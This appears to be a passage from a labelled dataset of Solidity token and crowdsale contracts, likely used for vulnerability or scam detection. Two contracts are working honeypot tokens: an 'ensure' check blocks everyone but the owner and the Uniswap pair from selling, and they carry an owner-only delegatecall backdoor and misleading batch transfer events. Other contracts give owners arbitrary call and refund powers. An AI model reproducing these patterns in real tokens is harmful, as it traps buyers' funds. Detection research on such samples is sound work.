contract INTERNATIONAL {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply * 10 ** uint256(decimals);
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,411 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract EBSCToken is StandardToken, BurnableToken, Ownable {
string public constant name = "Ether Based Source Chain";
string public constant symbol = "EBSC";
uint8 public constant decimals = 18;
string public constant website = "www.ebsc.io";
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant CROWDSALE_ALLOWANCE = 800000000 * (10 ** uint256(decimals));
uint256 public constant ADMIN_ALLOWANCE = 200000000 * (10 ** uint256(decimals));
uint256 public crowdSaleAllowance;
uint256 public adminAllowance;
address public crowdSaleAddr;
address public adminAddr;
bool public transferEnabled = true;
modifier validDestination(address _to) {
require(_to != address(0x0));
require(_to != address(this));
require(_to != owner);
require(_to != address(adminAddr));
require(_to != address(crowdSaleAddr));
_;
}
function EBSCToken(address _admin) public {
require(msg.sender != _admin);
totalSupply = INITIAL_SUPPLY;
crowdSaleAllowance = CROWDSALE_ALLOWANCE;
adminAllowance = ADMIN_ALLOWANCE;
balances[msg.sender] = totalSupply.sub(adminAllowance);
Transfer(address(0x0), msg.sender, totalSupply.sub(adminAllowance));
balances[_admin] = adminAllowance;
Transfer(address(0x0), _admin, adminAllowance);
adminAddr = _admin;
approve(adminAddr, adminAllowance);
}
function setCrowdsale(address _crowdSaleAddr, uint256 _amountForSale) external onlyOwner {
require(_amountForSale <= crowdSaleAllowance);
uint amount = (_amountForSale == 0) ? crowdSaleAllowance : _amountForSale;
approve(crowdSaleAddr, 0);
approve(_crowdSaleAddr, amount);
crowdSaleAddr = _crowdSaleAddr;
}
function transfer(address _to, uint256 _value) public validDestination(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public validDestination(_to) returns (bool) {
bool result = super.transferFrom(_from, _to, _value);
if (result) {
if (msg.sender == crowdSaleAddr)
crowdSaleAllowance = crowdSaleAllowance.sub(_value);
if (msg.sender == adminAddr)
adminAllowance = adminAllowance.sub(_value);
}
return result;
}
function burn(uint256 _value) public {
require(transferEnabled || msg.sender == owner);
super.burn(_value);
Transfer(msg.sender, address(0x0), _value);
}
}
contract EBSCSale is Pausable {
using SafeMath for uint256;
address public beneficiary;
uint public fundingGoal;
uint public fundingCap;
uint public minContribution;
bool public fundingGoalReached = false;
bool public fundingCapReached = false;
bool public saleClosed = false;
uint public startTime;
uint public endTime;
uint public amountRaised;
uint public refundAmount;
uint public rate = 6000;
uint public constant LOW_RANGE_RATE = 500;
uint public constant HIGH_RANGE_RATE = 20000;
bool private rentrancy_lock = false;
EBSCToken public tokenReward;
mapping(address => uint256) public balanceOf;
event GoalReached(address _beneficiary, uint _amountRaised);
event CapReached(address _beneficiary, uint _amountRaised);
event FundTransfer(address _backer, uint _amount, bool _isContribution);
modifier beforeDeadline() { require (currentTime() < endTime); _; }
modifier afterDeadline() { require (currentTime() >= endTime); _; }
modifier afterStartTime() { require (currentTime() >= startTime); _; }
modifier saleNotClosed() { require (!saleClosed); _; }
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
function EBSCSale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint fundingCapInEthers,
uint minimumContributionInWei,
uint start,
uint end,
uint rateEBSCToEther,
address addressOfTokenUsedAsReward
) public {
require(ifSuccessfulSendTo != address(0) && ifSuccessfulSendTo != address(this));
require(addressOfTokenUsedAsReward != address(0) && addressOfTokenUsedAsReward != address(this));
require(fundingGoalInEthers <= fundingCapInEthers);
require(end > 0);
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
fundingCap = fundingCapInEthers * 1 ether;
minContribution = minimumContributionInWei;
startTime = start;
endTime = end;
setRate(rateEBSCToEther);
tokenReward = EBSCToken(addressOfTokenUsedAsReward);
}
function () public payable whenNotPaused beforeDeadline afterStartTime saleNotClosed nonReentrant {
require(msg.value >= minContribution);
uint amount = msg.value;
uint currentBalance = balanceOf[msg.sender];
balanceOf[msg.sender] = currentBalance.add(amount);
amountRaised = amountRaised.add(amount);
uint numTokens = amount.mul(rate);
if (tokenReward.transferFrom(tokenReward.owner(), msg.sender, numTokens)) {
FundTransfer(msg.sender, amount, true);
checkFundingGoal();
checkFundingCap();
}
else {
revert();
}
}
function terminate() external onlyOwner {
saleClosed = true;
}
function setRate(uint _rate) public onlyOwner {
require(_rate >= LOW_RANGE_RATE && _rate <= HIGH_RANGE_RATE);
rate = _rate;
}
function ownerAllocateTokens(address _to, uint amountWei, uint amountMiniEbsc) external
onlyOwner nonReentrant
{
if (!tokenReward.transferFrom(tokenReward.owner(), _to, amountMiniEbsc)) {
revert();
}
balanceOf[_to] = balanceOf[_to].add(amountWei);
amountRaised = amountRaised.add(amountWei);
FundTransfer(_to, amountWei, true);
checkFundingGoal();
checkFundingCap();
}
function ownerSafeWithdrawal() external onlyOwner nonReentrant {
require(fundingGoalReached);
uint balanceToSend = this.balance;
beneficiary.transfer(balanceToSend);
FundTransfer(beneficiary, balanceToSend, false);
}
function ownerUnlockFund() external afterDeadline onlyOwner {
fundingGoalReached = false;
}
function safeWithdrawal() external afterDeadline nonReentrant {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
msg.sender.transfer(amount);
FundTransfer(msg.sender, amount, false);
refundAmount = refundAmount.add(amount);
}
}
}
function checkFundingGoal() internal {
if (!fundingGoalReached) {
if (amountRaised >= fundingGoal) {
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
}
}
function checkFundingCap() internal {
if (!fundingCapReached) {
if (amountRaised >= fundingCap) {
fundingCapReached = true;
saleClosed = true;
CapReached(beneficiary, amountRaised);
}
}
}
function currentTime() public constant returns (uint _currentTime) {
return now;
}
function convertToMiniEbsc(uint amount) internal constant returns (uint) {
return amount * (10 ** uint(tokenReward.decimals()));
}
function changeStartTime(uint256 _startTime) external onlyOwner {startTime = _startTime;}
function changeEndTime(uint256 _endTime) external onlyOwner {endTime = _endTime;}
} | 1 | 3,413 |
pragma solidity ^0.4.18;
contract ERC20Token {
function totalSupply () constant returns (uint256 _totalSupply);
function balanceOf (address _owner) constant returns (uint256 balance);
function transfer (address _to, uint256 _value) returns (bool success);
function transferFrom (address _from, address _to, uint256 _value) returns (bool success);
function approve (address _spender, uint256 _value) returns (bool success);
function allowance (address _owner, address _spender) constant returns (uint256 remaining);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (address indexed _owner, address indexed _spender, uint256 _value);
}
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd (uint256 x, uint256 y) constant internal returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
function safeSub (uint256 x, uint256 y) constant internal returns (uint256 z) {
assert (x >= y);
return x - y;
}
function safeMul (uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) return 0;
assert (x <= MAX_UINT256 / y);
return x * y;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
}
contract Token is ERC20Token, SafeMath {
function Token () {
}
function balanceOf (address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
function transfer (address _to, uint256 _value) returns (bool success) {
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom (address _from, address _to, uint256 _value) returns (bool success) {
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
allowances [_from][msg.sender] =
safeSub (allowances [_from][msg.sender], _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
function allowance (address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract MSRiseToken is Token {
address public owner;
uint256 tokenCount = 0;
uint256 public bounce_reserve = 0;
uint256 public partner_reserve = 0;
uint256 public sale_reserve = 0;
bool frozen = false;
uint256 constant MAX_TOKEN_COUNT = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint public constant _decimals = (10**18);
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
function MSRiseToken() {
owner = msg.sender;
createTokens(5 * (10**25));
partner_reserve = 5 * (10**24);
bounce_reserve = 1 * (10**24);
sale_reserve = safeSub(tokenCount, safeAdd(partner_reserve, bounce_reserve));
}
function totalSupply () constant returns (uint256 _totalSupply) {
return tokenCount;
}
function name () constant returns (string result) {
return "MSRiseToken";
}
function symbol () constant returns (string result) {
return "MSRise";
}
function decimals () constant returns (uint result) {
return 18;
}
function transfer (address _to, uint256 _value) returns (bool success) {
if (frozen) return false;
else return Token.transfer (_to, _value);
}
function transferFrom (address _from, address _to, uint256 _value)
returns (bool success) {
if (frozen) return false;
else return Token.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _currentValue, uint256 _newValue)
returns (bool success) {
if (allowance (msg.sender, _spender) == _currentValue)
return approve (_spender, _newValue);
else return false;
}
function burnTokens (uint256 _value) returns (bool success) {
if (_value > accounts [msg.sender]) return false;
else if (_value > 0) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
tokenCount = safeSub (tokenCount, _value);
return true;
} else return true;
}
function createTokens (uint256 _value) returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
}
return true;
}
function setOwner (address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
event Freeze ();
event Unfreeze ();
}
contract MSRiseTokenSale is MSRiseToken {
address[] balancesKeys;
mapping (address => uint256) balances;
enum State { PRE_ICO, ICO, STOPPED }
State public currentState = State.STOPPED;
uint public tokenPrice = 50000000000000000;
uint public _minAmount = 0.05 ether;
mapping (address => uint256) wallets;
address public beneficiary;
uint256 public totalSold = 0;
uint256 public totalBounces = 0;
uint public current_percent = 15;
uint public current_discount = 0;
bool private _allowedTransfers = true;
modifier minAmount() {
require(msg.value == _minAmount);
_;
}
modifier saleIsOn() {
require(currentState != State.STOPPED && totalSold < sale_reserve);
_;
}
modifier isAllowedBounce() {
require(totalBounces < bounce_reserve);
_;
}
function TokenSale() {
owner = msg.sender;
beneficiary = msg.sender;
}
function setBouncePercent(uint _percent) public onlyOwner {
current_percent = _percent;
}
function setDiscountPercent(uint _discount) public onlyOwner {
current_discount = _discount;
}
function setState(State _newState) public onlyOwner {
currentState = _newState;
}
function setMinAmount(uint _new) public onlyOwner {
_minAmount = _new;
}
function allowTransfers() public onlyOwner {
_allowedTransfers = true;
}
function stopTransfers() public onlyOwner {
_allowedTransfers = false;
}
function setBeneficiaryAddress(address _new) public onlyOwner {
beneficiary = _new;
}
function setTokenPrice(uint _price) public onlyOwner {
tokenPrice = _price;
}
function transferPayable(address _address, uint _amount) private returns (bool) {
accounts[_address] = safeAdd(accounts[_address], _amount);
accounts[owner] = safeSub(accounts[owner], _amount);
totalSold = safeAdd(totalSold, _amount);
return true;
}
function get_tokens_count(uint _amount) private returns (uint) {
uint currentPrice = tokenPrice;
uint tokens = safeDiv( safeMul(_amount, _decimals), currentPrice ) ;
totalSold = safeAdd(totalSold, tokens);
if(currentState == State.PRE_ICO) {
tokens = safeAdd(tokens, get_bounce_tokens(tokens));
} else if(currentState == State.ICO) {
tokens = safeAdd(tokens, get_discount_tokens(tokens));
}
return tokens;
}
function get_discount_tokens(uint _tokens) isAllowedBounce private returns (uint) {
uint tokens = 0;
uint _current_percent = safeMul(current_discount, 100);
tokens = _tokens * _current_percent / 10000;
totalBounces = safeAdd(totalBounces, tokens);
return tokens;
}
function get_bounce_tokens(uint _tokens) isAllowedBounce() private returns (uint) {
uint tokens = 0;
uint _current_percent = safeMul(current_percent, 100);
tokens = _tokens * _current_percent / 10000;
totalBounces = safeAdd(totalBounces, tokens);
return tokens;
}
function buy() public saleIsOn() minAmount() payable {
uint tokens;
tokens = get_tokens_count(msg.value);
require(transferPayable(msg.sender , tokens));
if(_allowedTransfers) {
beneficiary.transfer(msg.value);
balances[msg.sender] = safeAdd(balances[msg.sender], msg.value);
balancesKeys.push(msg.sender);
}
}
function refund() onlyOwner {
for(uint i = 0 ; i < balancesKeys.length ; i++) {
address addr = balancesKeys[i];
uint value = balances[addr];
balances[addr] = 0;
accounts[addr] = 0;
addr.transfer(value);
}
}
function() external payable {
buy();
}
} | 1 | 4,686 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,501 |
pragma solidity >=0.4.11;
contract Owned {
function Owned() {
owner = msg.sender;
}
address public owner;
modifier onlyOwner { if (msg.sender == owner) _; }
function changeOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
function execute(address _dst, uint _value, bytes _data) onlyOwner {
_dst.call.value(_value)(_data);
}
}
contract Token {
function transfer(address, uint) returns(bool);
function balanceOf(address) constant returns (uint);
}
contract TokenSender is Owned {
Token public token;
uint public totalToDistribute;
uint public next;
struct Transfer {
address addr;
uint amount;
}
Transfer[] public transfers;
function TokenSender(address _token) {
token = Token(_token);
}
uint constant D160 = 0x0010000000000000000000000000000000000000000;
function fill(uint[] data) onlyOwner {
if (next>0) throw;
uint acc;
uint offset = transfers.length;
transfers.length = transfers.length + data.length;
for (uint i = 0; i < data.length; i++ ) {
address addr = address( data[i] & (D160-1) );
uint amount = data[i] / D160;
transfers[offset + i].addr = addr;
transfers[offset + i].amount = amount;
acc += amount;
}
totalToDistribute += acc;
}
function run() onlyOwner {
if (transfers.length == 0) return;
uint mNext = next;
next = transfers.length;
if ((mNext == 0 ) && ( token.balanceOf(this) != totalToDistribute)) throw;
while ((mNext<transfers.length) && ( gas() > 150000 )) {
uint amount = transfers[mNext].amount;
address addr = transfers[mNext].addr;
if (amount > 0) {
if (!token.transfer(addr, transfers[mNext].amount)) throw;
}
mNext ++;
}
next = mNext;
}
function hasTerminated() constant returns (bool) {
if (transfers.length == 0) return false;
if (next < transfers.length) return false;
return true;
}
function nTransfers() constant returns (uint) {
return transfers.length;
}
function gas() internal constant returns (uint _gas) {
assembly {
_gas:= gas
}
}
} | 0 | 2,181 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
}
contract Token {
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC20Token is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
